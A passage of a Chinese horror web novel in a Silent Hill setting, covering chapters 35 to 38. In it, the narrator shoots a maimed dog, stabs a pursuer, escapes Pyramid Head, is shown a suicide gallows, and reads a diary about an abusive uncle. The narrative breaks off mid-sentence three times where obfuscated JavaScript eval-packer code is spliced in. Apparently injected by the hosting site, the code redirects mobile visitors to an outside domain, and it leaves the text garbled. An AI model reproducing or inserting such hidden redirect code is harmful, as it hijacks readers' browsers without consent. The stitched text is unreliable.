他表现出难以形容,“我也不知道该怎么说,总之我好像见着了我的养父,我过去……那时候的我有意识却不能动,只能被牵着走,然后就在我即将崩溃的时候,我看见了天堂。” “真的是天堂,有云朵,有天使。”尤克斯的眼睛发亮,“虽然有很多雪白的云朵,但是光却能穿透云层因此一点也不暗。那些天使真的和壁画上一模一样,你有没有见过米开朗琪罗的……” 他突然不说话了,好一会才道:“反正,等我回过神的时候,人就在小镇上。我感觉自己特别的……清醒,就像茅塞顿开。刚才的女孩叫安吉拉,路上偶然碰见的,她也被无法尘封的记忆所折磨,但好在现在和我一样寻找到窄门……解脱了。” 我抱着小狗垂眸听着。尤克斯轻咳一声,“还有,我好像找到出去的路了。小狗如果得到及时治疗肯定还有救,你可以和我一起……” “哪家医院会接收它呢?”我苦笑。 尤克斯呼吸一滞。 我抚摸着小狗的脸,“就连平日里都得躲着人,就算送到医院估计也会被当成怪物处理掉。” 尤克斯小心翼翼道:“那……怎么办?” “你有枪吗?” 他像是没听清:“什么?” 我重复了一遍:“枪,你有吗?”我知道他肯定有的,当时他就是用枪处死了恶心的触︱手。 尤克斯点头,从外套内侧取出黑色手︱枪,刚想递给我不知道脑海里冒出了什么想法,又猛然收了回去。他问:“你想干什么?” 我平静地看着他,“帮我的小狗解脱。” 他不可置信:“你的狗还活着!” “它无法得到治疗,就算出去了哪家医院愿意接受这样一个——”我的情绪陡然激动,但又很快平复下去,吸了吸鼻子继续道:“就算得到了治疗,没手没脚的还有活下去的意义吗?如果是我,宁愿丧命,也不愿意成为残废。” 我看着他的眼睛:“给我。” 尤克斯犹豫不决,在我凝视之下伸出了握着枪的手,我一把抢了过来,上膛以后对准小狗。 “等……”尤克斯张了张嘴。 自我出现以后,小狗便神经放松,闭着眼睛像是睡着了一样。刚才我和尤克斯发出的响动有些大了,它被吵醒,迷茫地睁开眼,当看到眼前黑洞洞的枪口,惊地吱哇乱叫,想要跑但无奈四肢都断了,只能像只虫子一样原地蠕动。 “对不起。”我轻声道。 小狗猛然看向了我,一双清澈的眼睛染上湿意。它低下脑袋,用尽全力朝我的方向移动,我伸出一只手抱住它,耳朵靠上它的额头,另一只握着枪的手对准它的后脑,按下扳机—— 砰。 小狗死了。我能感觉到在开枪的一瞬间它身体紧绷,然后就变得软绵绵的。 我抱着它的尸身嚎啕大哭,泪水不要命地往外流,一直到几乎干涸,内心的空虚和恐惧仍然没有半点解脱。 35.第 35 章 尤克斯再次问我要不要跟着他一起离开,因为小狗的死,以及尤克斯锲而不舍地询问,我竟然有了打退堂鼓的想法,话刚到嘴边,安吉拉掀开帘子,“她出不去。” 我和尤克斯齐齐愣在原地,我最先反应过来:“为什么?” 安吉拉就像受了惊的小鹿,眼神到处乱飘却偏偏不敢直视我,一字一顿道:“寂静岭不会放你离开,除非,你找到救赎自己的道路。窄门确实是捷径,但这条捷径需要你承受数倍的痛苦……” 她的声音又沉又哑,像是被火灾中的浓烟破坏了嗓子。 救赎自己的道路?救赎?我不需要被救赎。记忆承载一切,也许失去的我曾承受着悲痛,但现在的我什么也感受不到。 寂静岭不放过我,我会放过自己,我不愿意放弃哪怕一丁点希望。我问尤克斯:“窄门在哪里?” 他张开嘴,什么声音也没有发出来,他皱了皱眉,继续张合嘴巴,最后他叹了一口气:“抱歉。” “没事。”我明白了,他不能说出口,寂静岭禁止他透漏有关窄门的一切。 我想把枪还给他,却被拒绝了。尤克斯说:“你留着吧,它对我没有任何用处了,我现在既不用防身也不需要逃命。” 他丢下一句话:“祝你接下来一路顺风。” 现在只剩下我和小狗的尸体了。尤克斯离开以后宛若失去了唯一的活物,眼前的一切变成了梦魇,摧残着我的理智,撕扯我的灵魂,令我痛苦不堪。 我希望是梦魇。 确实是梦魇,真实的梦魇。 我带不走小狗的尸体,它太大只了,会阻遏我的行动,可我也不能割下它的某一部分随身携带,因为它已经残破不堪了,我不想再破坏它的尸身,况且我不知道自己会在寂静岭待多久,也许直到它尸身腐烂都还没有出去,倒不如找个地方埋了。 没错,我应该找个地方埋了它。 我扯下脏到发灰的床单,把小狗裹了个严严实实,吃力地抱出工厂,找到一块表面没有任何砖瓦的泥土地放下。 这没有铲子,我找了一周圈都没有,无奈我只能用小刀一点点挖土。可当下手开始挖的时候,我愣在了原地。土是硬的,和记忆中松软的泥土地完全不一样,比冬日的冻土还要坚硬,就像水泥。 刀尖一下又一下地凿下去,却连个小口都没有破开。握着刀柄的手被震得发麻,最后一次下凿,刀尖打滑发出呲啦一声响,刀柄连带着手贴着地面摩擦,指节被粗糙的地面蹭出了血。 我终于忍不住了,扔掉小刀捂脸痛哭起来。 每一件事都不顺利,每一件事都糟糕透顶。小狗死了,却连土都入不了。 我抱着小狗的尸体走了好一大段,走到我两手发麻近乎没有知觉,小狗从僵硬的双臂间掉落在地上。我弯腰想把它抱起来,可双手不听使唤,除了抖就是抖。 最后,我只能抛弃小狗的尸身,独自上路。 放任它曝尸荒野。 . 尤克斯在我临走前还嘱咐过一句,千万不要有任何寻死的念头,哪怕前方有再多危机。寂静岭是一个怪物,它喜欢钻空子,一不留神就会丢了命。 我当然不会寻死,我会活着,完整的离开这里,然后与姐姐好好生活。但想要离开不是一件容易的事情,也许得找到窄门才行,又或者我找存到记忆以后,通过自身意志破开梦魇。 尽管离开的想法坚定不移,小狗的死对我打击太大,以至于就像行尸走肉,只知道凭借本能的前行。结果就是两眼一抹黑,等再次清明的时候发现不知道跑到哪来了,处处都是陌生场景,连回头路都找不到。 后面的路均匀分叉,每一个岔路口都通向不同的开端,前面唯一的路笔直向前,狭窄且只允许单人通行。 回头是不可能回头了,谁知道哪个岔路是来时的。我硬着头皮继续走,越往前路越窄,到最后我只能侧着身走。 幸好就在小路挤压着我的前胸后背即将窒息的时候,我走到了尽头,后面是开阔的旷野,以及伫立在旷野之中唯一的庞大建筑物。别墅的模样,本该是属于家的地方,却阴森而又孤独,就像寂静岭的代名词。 如果把旷野比作大海的话,那么眼前的建筑就相当于孤岛。 大门敞开,畅通无阻,没有任何阻遏前行的障碍物。我巨大的铁门旁挂着的名牌表面生锈,半掉不掉,锈迹斑斑点点密密麻麻,就像覆在上面的红色小虫子,紧盯着的时候竟然有蠕动着的错觉,恶心至极。 天空大亮,别墅里面则漆黑一片,伸手不见五指,就像一张野兽的大嘴。 我小心翼翼地踏进去一步,本来只是想浅浅地探探虚实,可谁知道两只脚刚落在灰白色地面板砖上。 吱呀——砰! 生锈的铁门猛地关上,视野变得漆黑一片,我转身两手握住冰凉满是铁锈味的门上铁栏。可明明铁栏中间缝隙显而易见,大亮的白天没能透进一丝光亮,像是与世隔绝…… 更像是进入了另一个空间,里世界。 我瞳孔猛缩。 呲呲……呲…… 庞大的别墅里,顶部一盏灯闪了又闪。灯光自上而下,照亮了圆圆小小的一片区域。隐隐约约之中,似乎有一个人影在那儿。 呲……啪! 吊灯彻底亮了,举着沉重砍刀,头戴巨大三角头盔的强壮男人站在灯光之下,影子被他牢牢踩在脚底,随着老旧吊灯的时不时闪烁出现而又消失。 三角头! 无法言喻的恐惧涌上心头,我撒开腿就跑,身后砍刀拖行在水泥地面的刺耳声音冲击着我的鼓膜,心脏几乎爆炸,呼吸都染上颤抖。 我跑进狭窄的过道,地上、墙上、天花板上全是血污和脏污,充满铁锈味的空气在呼吸间被吸入鼻腔,竟然有一种喉咙出血的错觉。 前方是死路,我手忙脚乱地刹车,四周环绕一圈,将视线落在尽头的爬梯。我头也不抬,手脚并用,噔噔噔地爬了上去。爬梯最上方是一层平台,我站在上面,双手用力捂住嘴巴。 因为拼了老命地逃跑,我现在呼吸急促,但是连呼吸都不敢发出太大的声音,生怕被发现。 心脏砰砰砰直跳,伴随着砍刀拖行的声音,三角头慢悠悠地走到的死路的尽头,四周环视了一圈掉头离开。 我松了口气。可突然,他转过身子抬头朝这里看了过来!我惊地心脏几乎骤停。他抬起肌肉结实的胳膊,朝我的方向点了点。 该死,被他发现了!我赶忙钻进平台旁边狭窄矮小的通道,继续逃命。 我不知道这条漆黑又压抑的通道的尽头通向那里,究竟是死路还是活路,只知道自己不能回头。不确定三角头能不能顺着爬梯上平台,但这个通道他一定是进不来的,对他来说太小了。 一路猫着腰,腰酸背疼,好在通道并不长,半分钟的时间就钻了出来。通道里面全是蜘蛛网,我的头发、衣服上全粘满了蜘蛛网和灰尘。我掸了掸,可没有镜子,不知道处理干净了没有。 墙壁上挂的煤油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚翻开一页,我就耳尖的听到有什么人正在靠近,而且不止一个。脚步凌乱,踩在地板上的声音哒哒哒,像是四只脚,两个人,马上就要临近。我合上日记本丢进帆布袋,在写字桌上随意翻了两下,见没有其他值得留意的东西,钻进缝隙,躲到墙壁另一头的房间里了。 仅一墙之隔,我听见两人说话的声音,他们十有八九和我一样,也是被里面与众不同的布局吸引了。 “这里为什么这么多虫子。”一人道,语气里满是嫌恶。 另一人似乎是个女性:“虫子?你是不是出现幻觉了?” 我吞咽唾沫,静悄悄地往一道较小的缝隙里看去。熟悉的两个人,莎莉娅和卡尔。 他们两个怎么也到这里来了?不过……正好。 “墙上好大一条裂缝,后面有什么?”莎莉娅说。 卡尔:“裂缝太小,我过不去。你小心着点。” “又是我?” 此话一出,气氛陷入沉默,好半会儿卡尔才说:“我先探头试试水。” 然后就是衣服与裂缝摩擦,碎石下落的声音。 卡尔身形高大,哪怕仅仅是探了头也很吃力。首先是黑洞洞的枪口,然后是头发宛如硬刺一般的头顶。其实我明明可以趁着他吃力探头的功夫跑掉的,反正也抓不住我。 但是我非常平静地站在原地,双手握着短刀高举过头顶。 他是伤害小狗的元凶之一,如果不是他打断了小狗的一条腿,那么狗狗不可能逃不出克拉斯的死手,我们也不会阴阳两隔。 卡尔的臂弯搭在裂缝边缘,脑袋总算钻了出来,后脑勺对着我。 在他准备扭头的一刹那,我用力朝着脖颈的方向刺了下去。 他的感知就像动物,在我开启动作的那一刻迅速后撤,可惜刀刃锋利,侧颈被割开一个大口子,鲜血狂飙,溅脏了我的鞋子。 墙壁后面,卡尔的惨叫声凄厉,我冷着脸用衣角擦去刀刃上的血,快步离开。 36.第 36 章 啪嗒啪嗒。 低跟鞋踩在水底地面上,依稀还能听出来对方给枪上了膛。我蜷缩在角落,后脑勺紧贴着粗糙硌人的墙面,呼谨慎地呼吸。 不知过了多久,莎莉娅终于离开了,我松了一口气,垂下脑袋。 我在看着手背被溅上的血发呆。虽然环境幽暗渗人,但是意外的干燥,湿润的血很快就干了,紧巴巴的黏在手背上,刮一刮还能弄下不少血屑。 不过既然莎莉娅和卡尔都来这儿了,那克拉斯也快了吧。 . 说来也巧,我和克拉斯正面撞上了,我不敢相信自己的眼睛,他则瞥了我一眼就移开视线,就好像看到幻觉那样毫不在意。 他在不在意我都无所谓,问题是,我痛恨他。 我掏出从尤克斯的枪,怀着恨意瞄准他。因为太过于愤怒,抬起的双臂微微发抖,按下扳机的那一刻竟然歪了,没打中。 子弹擦过克拉斯的发丝,他才终于正眼看我了。我感觉受到了侮辱。 然后我们就撕打起来了。他夺走了我的枪,我用短刀抵住他的脖颈,结果被单手控制住,脖子也被狠狠掐着。 气得我破口大骂,又是踢又是踹,但因为被卡住脖子只能发出气音,杀伤力大大减弱,我甚至从他的眼里看到了嘲讽。 近乎窒息间,就不远处的一盏煤油灯的旁边,我看到了三角头。大砍刀竖着插在地里,他对我的现状漠不关心,一丁点也没有上前帮忙的意思。 他不是我内心世界的映射物吗,不是依赖我生存的吗?我两只手扣住脖子上的手,指甲用力抓挠着羊绒料的袖子,濒临死亡的痛苦和怨恨一齐向他迸发。看什么戏呢,我都快死了!我死了你也活不了! 脖子上的制约一松,我终于喘过气来了。 “咳咳咳……”我咳得撕心裂肺,泪水弥漫眼前模糊一片什么也看不清,我凭借本能的意识爬起来。 不知道克拉斯为什么突然放弃掐死我,我猜测可能是我留在他肩膀上的伤又开始痛了,他被痛意纠缠,只能先放过我。 眨眼间眼泪水被挤了出来,我也终于能看清一切了。还没来得及去找克拉斯的方位,就看到本来无动于衷的三角头抬起手…… 我快死的时候没反应,刚得救就来补刀取我的命?!我能怎么办,当然是跑,现在克拉斯在我心目中的危险程度直接降为第二名,三角头荣升第一。 可三角头却没有如我预料中那样,提着砍刀大步流星冲来,甚至他都没有触碰刀把,反而搭上墙边的一个类似于开关的制动器,用力向下一压—— 地动山摇,可以这么说。因为我们所在的这地面开始颤抖,下沉。 只有几秒钟的时间,天花板就像井底之蛙观望天空时那样,只能看到正正方方的一小块,并随着下沉越来越小。 我和克拉斯反应过来以后想往上爬,可根本来不及,下沉的速度太快,不一会我们离原来的地面差不多两三米的距离,四面八方的“墙”土质松软,我想用短刀一点点向上爬,结果刀刃刚插进去,手臂还没用力,大片松土就往下坍塌,浇了我满头满脸,差点被活埋。 下沉终于停止了,我们来到一个黑漆漆的地方,除此以外,还有一股潮湿的味道。不好的记忆涌上心头,旅店和那艘船带给我不小的阴影。我的身体就无法控制地颤抖了一下,双手抱住胳膊,但仍然觉得不够,紧紧扣住肩膀,布料挤进指甲缝里。 下沉的时候不稳当,我和克拉斯都尽可能地靠着墙站,现在平稳了,我听到他走来走去的声音。 温热的掌心忽然抓住胳膊,我吓了一跳,想要甩开但挥了好几下却没能甩掉。我又惊又怒:“干什么?!” “哦,原来是你。”那只手放开了我。 我朝声音的反方向的走了两步,想离他远点,倏然意识到在这个我看不见他他也看不见我的情况下,岂不是一个偷袭的绝妙机会,只可惜我的枪被他抢走以后随手一丢,现在估计在上面呢。 不过也正好,那把枪没有消音︱器,容易被发现,我应该使用更隐蔽些的武器,比如,短刀。我的手放在腰间,然后慢慢下移,抓住包裹着胶皮的刀柄,一点一点向外拔出—— “这种时候我们就休战吧。”克拉斯突然出声,我拔刀的动作蓦然停止。 一束光打了过来,我被迫眯起眼睛,用手挡在面前。 光在我的脸上逗留了一会,才移开。我勉强看清他的脸,克拉斯的面容在昏暗中更加冷硬,眉骨和颧骨之间是一个凹陷,睫毛生长在深邃的眉眼上像是一把扇子。 这双深褐色眼睛的主人突然看向我,他朝电筒指向的地方抬了抬下巴,“暂时休战,先想办法离开这个鬼地方。” 电筒打出的光照的很远,不远处是一个不大不小的出口,再往远看,有些波光粼粼,像是水面。一看到水面就联想到大章鱼,沙虫一样的触︱手,我顿时起了一身鸡皮疙瘩,潜意识认可了他休战暂时合作的要求。 不过我们有两个人却只有一个电筒,实在是不太方便…… 等会儿,电筒!我摸遍全身,空无一物。我的电筒呢? 我这才发现克拉斯手里的电筒竟然如此眼熟,而且他另一只手上还提着帆布包,怎么看怎么眼熟,连花纹都和记忆中的相差无几。我的包和电筒怎么到他手里去了?! 克拉斯注意到我的愤怒的视线,随手一丢,把帆布包扔到我的怀里。我抱着包,仍然死死地盯着他,“电筒还我。” 他头也不回地朝出口走:“我还要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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我放下手,盯着他一字一顿道:“对,死了。四肢全都断了,还有活着的必要吗?” 他沉默的一会,然后勾起唇角噗嗤一声笑了。我怒不可遏,笑个屁! 克拉斯眉毛往外一撇,边摇头边笑地直耸肩,“呵……死了……看来你确实什么都不记得了,和个傻子一样。” “什么……” “行了,别磨蹭了。”不知道为什么,他好像突然变得雀跃。他张开单臂想揽住我的肩膀,被我一脸嫌弃地躲开后,改为拉我的胳膊,“快点的吧。” 我挣脱不开,只能无可奈何地由他随意折腾,心里却是另一种状态,除了骂就是怒骂,连带着小狗的份一起。 等出去了,绝对要拿短刀把你捅个对心穿。 37.第 37 章 越往前水越深,现在水面已经到达我的腰部。在我全身上下,腰算得上是敏感部位,医生说它以前极有可能受过伤,当然这种早就已经忘记的事情不重要,重要的是现在我的腰疼的要命。 细细密密,像是无数只蚂蚁在啃食,吮吸骨髓,咀嚼脊柱,折断又复原。 在有旅店的里世界里我也泡过水,但没有像现在这样疼……疼的比现实还要现实,如果说之前是一场梦,那么现如今就是从梦中苏醒,所有在梦中被抵消的痛苦全都倾覆而来。 “唔……”我用力扯住克拉斯的袖子,生理性地弯下腰,手背用力到青筋暴起。 温热的触感覆上后腰,我喘着气强迫自己抬起眼皮。克拉斯垂着眼眸,手放在我疼痛最严重的地方,热乎乎的感觉让疼痛稍微褪去一点,当然只有一点,可就是那么一点几乎救了我我的命。天知道我差点疼死过去。 我直愣愣地看着他,此时此刻的克拉斯和刚开始遇见时不同……应该说,和他相处的时间越久,就越觉得他浑身开始散发出一种感觉,难以形容,但是和我眼中的里世界非常相配。 阴暗潮湿的地域,孤僻无人踏足的小岛,他就像从那里生长出来,那里的每一处都构成他的血肉、骨骼,最后再披上这一层皮相。 他的眼珠突然转动,与我对视上,我嘴角颤抖了一下,错开视线。他问:“好点了?” 我说:“稍微好点了,谢……” 他掌心用力抵着我的腰往前推,“那就快点,别再浪费时间了。” 水是冰冷的,腰上的热意是滚烫的。在被强行推着走着的期间,我用余光观察他。克拉斯从头到脚都透露着一股陌生的气息,黑发褐瞳,高挑的身高,以及被沾湿到不能再湿的羊毛制风衣。但所有陌生的一切都犹如一把黄铜钥匙,在用力撬着我大脑中锈死的那道门。 我以前确实认识他,失忆的我和他关系匪浅。 但这个想法并没有给我来到即将重拾记忆的喜悦,反而不断地挑拨大脑神经,使我产生一种奇怪的认知。 那段记忆并不值得留存。 他突然不走了,我也被迫停下脚步,正想开口询问发生了什么,一股白色的雾气飘了过来,顿时警铃大作。浓雾,无边无际的海水…… 我吞咽了一下唾沫,抬起头。 以及,章鱼。 果不其然,头顶浓雾缭绕,电筒的光照范围内,大片的白色雾气左右飘荡。在雾气的缝隙里,章鱼脚时不时现身,然后又很快隐藏起来。仅仅只是一个窥探,足够令人心惊胆战。 我悄悄望向克拉斯,他的脸色白的像死人,但不至于像博格纳和尤克斯那样惊慌失措。 “见鬼。”我听见他说。 克拉斯开始倒退,撞到我后回头看了一眼,错开方向又退了几步,然后跑了起来。他在向后跑的时候仍然抓着我的胳膊,而且握得很紧,我被拽地差点摔倒。 “你怎么又不动了?!”他责备道。 我一眨不眨地盯着上空之中那个令人毛骨悚然的大生物,忽然之间想到尤克斯通过了窄门这件事。虽然他说不出窄门的方位,但我可以根据先前的一切线索推断。 最后一次见到他是什么时候?那艘破旧的老式帆船上,他被章鱼脚卷走了,但安然无恙,还走进了所有人梦寐以求的窄门。 所以,窄门是不是和眼前的大家伙有关联?这个想法令我热血沸腾,我好像找到了一个突破口,迫不及待地想要去证实。 面对克拉斯急切万分,在他强行把我拖走之前,我从他的手掌里抽出胳膊。 克拉斯不解:“你?!” 高空的浓雾中伸出一根细长的章鱼触角,朝我们袭来。克拉斯终于耐不住了,不过他还是没有一个人跑,单手箍住我的腰,打算扛着我走。我一把推开,他满脸错愕,一句你发什么神经还没来得及脱口而出,我就被触角捆住拽到走了。 至于为什么我会知道他会脱口而出这句话……当然是我猜的,我觉得凭借他的性格不仅会质问我为什么发神经,还会在我被彻底拖走以后在原地痛骂我脑子有病。 失重的感觉并不好,章鱼触角勒着腰部,四肢包括头部自然下垂,呈现一个类似于下腰的动作,脑子昏昏沉沉胀痛无比。更何况随着雾气越来越重,我呼吸都有些受阻。吸进肺里的全是水雾,潮湿冰凉,每过一遍肺,都以为身体要被冻住了。 触角上移的速度变慢,好像快要到尽头了,我强撑着抬起上半身,结果看见令我后悔众生的一幕。 ——密密麻麻的眼睛,眨巴眨巴,像是天上的星星,又像是生了虫的米饭,更像是花屏老电视机屏幕,甚至能听到其中传出的呲啦呲啦声响。我的鸡皮疙瘩掉一地,麻意从脚心直冲天灵盖。 还没等待我的惊恐完全迸发,周围场景变换,我不再是吊在空中的状态,而是脚踏实地地踩在地上。土地松软,印出我鞋底复杂的花纹。 地是黑的天是红的,红彤彤的就像岩浆逆流,从高到低一路向下变为顺着银河缓慢上爬。血红色天空上几道黑色的裂缝若影若现,总感觉在不经意间一脚踩空掉进去。当然这是不可能的,裂缝在天上,谁会一脚踩空掉到天上去。 松软的土地有好有坏,好处是走路不费力,坏处是容易摔跤,软绵绵的质感总让人以为自己的在空中被踏步,一个不小心就左脚踩右脚摔个狗啃泥。 旷野一望无际,走着走着我发现路边一座盘旋而上的楼梯,直通天上的裂缝。其实我挺想爬上楼梯一探究竟,但是楼梯周围被同样高耸入云的围栏圈着,唯一的门上挂着一把没有锁孔的大锁。 我没有时间去研究怎么撬锁,还是这种莫名其妙的锁,瞧了一眼便收回视线继续往前走。 继续走着走着,前方出现一个黑色的小点,因为太远看不真切,等靠近以后才发现那是一个行刑台。两根竖棍一根横梁,再加上一根黄褐色的麻绳就构成了全部,麻绳系在横梁上,底部打了个圈,倒像是用来上吊用的。 好像真的是上吊用的,因为在更近一步后,我发现绳子下方放着一把木凳子方便别人踩着去上吊,还有一块立着的木牌。 ——正视罪孽,偿还代价。 什么罪孽什么代价,我又没犯过罪。在有限的记忆中内,一直充当良好市民,不踩草坪不乱丢垃圾,知道自己脑子有病随时会有复发风险,所以除非必要情况从不去街上乱晃。试问哪一个人能做到我这种程度。 我不会把亲爱的头颅挂到那根绳子上去的,不是我的罪我不会认。就算在失忆以前我做过什么不好的事情,但那是以前,我早就忘了个一干二净。在寂静岭小镇里晃荡了这么久,好几次经历生命危险,腰部旧伤还复发了,窄门一个影子都没有看到,记忆也没恢复一星半点,结果现在让我认罪? 可笑。 我翻了个白眼,送给行刑台一个冷漠的后脑勺。 刚才被高入天际的栅栏围住的通天梯呢,那才是我要去的地方,窄门也许在楼梯的尽头,充满危险的裂缝里。最危险的地方就是最安全的地方,这话半真半假,但能流传这么久,说明有一定道理。 我按原路返回。来时的脚印还没有消散,熟悉的鞋底印花在泥土的凹陷处,脚尖朝向与我此时行径的方向相悖。我的脚踩进鞋印里,鞋跟的位置被掩盖,鞋印变成了两个脚尖,一个朝前一个朝后。 高耸的围栏很麻烦,好在它只是看上去高耸入云,实际上离天空还差着远呢。我小心翼翼,一点点的爬上围栏,然后翻了过去。 脚踩在松软泥土上时,我松了一口气,揉了揉酸痛的胳膊的腿,转过身面对眼前白如雪的楼梯。台阶与台阶之间间隔很大,看上去要费一番力才能邓一级台阶,如果全爬完的话,估计腿都要断了。 不过我不在意这些,重要的是窄门。 我深吸一口气,抬起脚准备踏上台阶,脚底粘黏着的红色沙土掉落到雪白的台阶之上,分外醒目,下一秒—— 台阶消失不见,我愣在原地,猛地抬头。 天空被一条又一条的黑色铁栏杆分隔开,原本空荡的上空不知何时多了一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032028|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天花板”,将空间封死,包围楼梯的栅栏此刻成为了囚禁我的牢笼。 我瞪大双眼,双手抓住冰冷的栏杆。从远处开始,红色火光逐渐逼近,火舌滔天,伴随而来的是滚烫的热意,热浪滚滚,火焰的边缘变得不真切,模糊了与现实的边界。 掌心抵着的铁栏杆烫的几乎掉一层皮,而我的手已经拿不下来了,皮肤被烤化粘连在上面。火焰灼烧着我的衣服,头发.......我像是被塞进了一个巨大的熔炉之中,承受着即将到来的火烤。 这里简直就是地狱。 . “醒醒。” 我感觉有人拍了拍我的脸,睁开眼睛的一刹那喉咙发紧吐出一口水。咸的,海水。环顾四周,我在岸上,亮着的手电筒立着放在脚边,头顶的天花板白漆大片剥落,坑坑洼洼……我一下子坐了起来,双手摸上脸,然后是胳膊,衣服…… 皮肤没有被烧成干巴巴的焦皮,衣服也完好无损地穿在身上。 克拉斯蹲在旁边,见过看过来微微挑眉,“怎么样?” 我吞咽了一口唾沫,手从脸上拿下来,放到身前搅在一起。那种身在地狱,被烈火灼烧的感觉太过于真实,不像是幻觉。 没有了雾气以后,一切都变得清晰了。我站了起来,没走几步就被拉住,低头一看发现自己正站在岸边,在走一步就要掉进水里。对面是来时的路,这样一看并不远。 抬起头,可怕的章鱼早就被天花板所替代。我皱了皱眉,回过头伸出一根手指朝向自己,问:“我……” “你被章鱼卷走了又被扔了回来,然后那些章鱼脚就不见了,雾气也散了。”克拉斯的叙述非常简洁明了。 这么说来,不是幻觉?我确实被章鱼脚带到了另一个世界,但我没有找到窄门,反而被火烧了一通。话说回来烧我干什么,因为我拒绝上吊,拒绝赎罪?真令人无语,我又没罪。还有那个雪白的楼梯,我怀疑那就是通向窄门的路。但凭什么,凭什么尤克斯和安吉拉可以进窄门,却不允许我踏足。 克拉斯在好奇地观察我,可能是我思考时的呆滞引起了他的注意,我说:“我好像看见了窄门。” 他点了点头表示知道了,并没有任何惊喜的表现,窄门似乎并不能提起他的兴趣。 “然后呢。”他说:“你进去了?” 我脸黑了一度,这问题问得好。“没有。”我偏过脸。不仅没能进去,以后估计都进不去了,那样抵触我,甚至不惜用火烧。我到底犯了什么罪要遭到这样的对待。 既然窄门行不通,那就只能按照安吉拉说的,去找救赎自己的道路。窄门确实不是唯一的路途,但是少了这个捷径,还真是令人惋惜。我再次疑惑,失忆前的我到底犯了多大的罪。 我第一次向克拉斯发出了疑问,毕竟他说自己认识以前的我。 克拉斯听到这个问题后陷入了短暂的沉默,变换了一下坐姿,他说:“不知道。” 不知道? 他的表情僵硬,“我认为你没罪,但审判又不是由我来的。” “那是谁来?”靠近水边太久我的腿不自觉发软,向后退了几步,找了个安全的墙边原地坐下,结果又发现一只挂在手上的帆布袋子不见。刚急着寻找,克拉斯就把帆布袋扔了过来。 “寂静岭吧。”他道:“都是这么说的。” 又不是审判庭,有什么资格对我进行审判,我在心里腹诽。检查帆布袋,没想到居然还是干的,里面的日记本也没有被沾湿,我惊喜地把它拿了出来。 在取出日记本后,感觉有一道视线一直落在我的身上,抬头看过去,克拉斯说:“临时休息而已,怎么突然开始陶冶情操搞阅读了?” 我没理会。 中间隔着一条命,我总归要杀了他的,现在只是暂时休战而已,不和他计较。我冷冷地瞥了他一眼,接受到我不善的眼神后,克拉斯像是僵住了一样愣在原地。 我翻开日记本,字迹相比于前两本稍稍潦草一些,带了几分随性自然,能看出来是个大孩子了。 38.第 38 章 5月30日晴 哥哥终于回来了,但只有一天。他正式升入了高中,校服不再是初中的破抹布,而是西装样式,特别好看。可惜还没来得及拜托他给我试穿一下,他就要走了。 我站在门口眼巴巴的望着他离去的身影,还没等他完全消失在地平线,叔叔又怒气冲冲把我揪走。他经常说我脑子有病,而且是吃药也治不好的那种病,但我怀疑真正有病的其实是他。 …… 6月12日晴 我的噩梦又开始了。本以为叔叔终于消停,却没想到他从来都没有放弃过继续自己梦想的念头,没错,梦想,真是够了。 他买下了一家废弃医院,而我则继续成为他的下手。我真的不喜欢血腥味,也不喜欢手术刀冰凉的把柄,但如果我拒绝的话,下场会很惨,我只能忍着恶心靠近被绑在手术台上的那只大老鼠。他的一双黑白分明的眼睛瞪得特别大,眼珠子都快蹦出来了,血丝布满眼白,嘴里还叽叽喳喳地求饶…… 过程不想复述,仅仅是书写刚才那一小段又令我回忆起不快的往事,胃里翻江倒海,满脑子都是被染红的绿色一次性床单,手术刀在大灯下反射着的寒光,还有顺着刀背流到手心的血。黏黏糊糊,我怀疑渗入胶皮手套沾到我的手上了,否则为什么手上会有一股洗不掉的臭味。 今天的晚饭我吃不下去了。本来每天的食物就很恶心,叔叔根本不会做饭,他也不许我靠近厨房,因为在他看来我的手只能用来触碰手术刀和尸体,而这两样东西充满死亡的腐败,从这双手中做出的食物会令人丧命。 对此我只觉得荒唐,但又有什么办法,我无法违抗,所以每天都得吃着难以下咽的泔水,除了哥哥回来的时候。这个家里,只有哥哥能做出人吃的东西,我想念他做的炖牛肉,想念他做的奶油烩菜,想念和他藏进衣柜里躲避叔叔的搜查,我想念他的一切。 哥哥什么时候能回来。 …… 7月1日晴 终于又到七月份。七月是最炎热的季节,每当这个时候就能听见不分昼夜的蝉鸣声,知了知了的环绕在耳侧。叔叔恨死它们了,骂骂咧咧地诅咒它们全家活不过这个夏天。蝉本来就只能活一个季节,真好笑。 …… 7月10日晴 在这个最炎热的季节,太阳光似乎都带着毒,稍稍晒一会皮肤就开始发疼,头发丝烫的能煎鸡蛋。但我偏偏就爱这种毒辣,我爱明亮,我爱太阳,爱炎热难耐的天气。 从小开始我就被叔叔关在不见天日的房间里,每天要么是处理老鼠,要么就是因为不听话被关禁闭。这么多年下来,我的皮肤几乎和死人一样惨白。我照过镜子,幽暗的灯光下皮肤苍白如白纸一张,就像故事书里的吸血鬼,如果再带一点青紫色,那就真的是死尸了。 差点忘了说,哥哥回来了!我整个人都赖在他身上,哪怕是叔叔提着刀来,也休想把我们两个分开。 继续刚才的话题,哥哥晒黑了不少,皮肤从白皙变成了健康的小麦色。我的胳膊和他的胳膊摆放在一块,就像白土和沙滩。他说高中体育老师是个恐怖魔鬼,我问他有多恐怖,和叔叔差不多吗,他笑着说差不多。 叔叔来了。 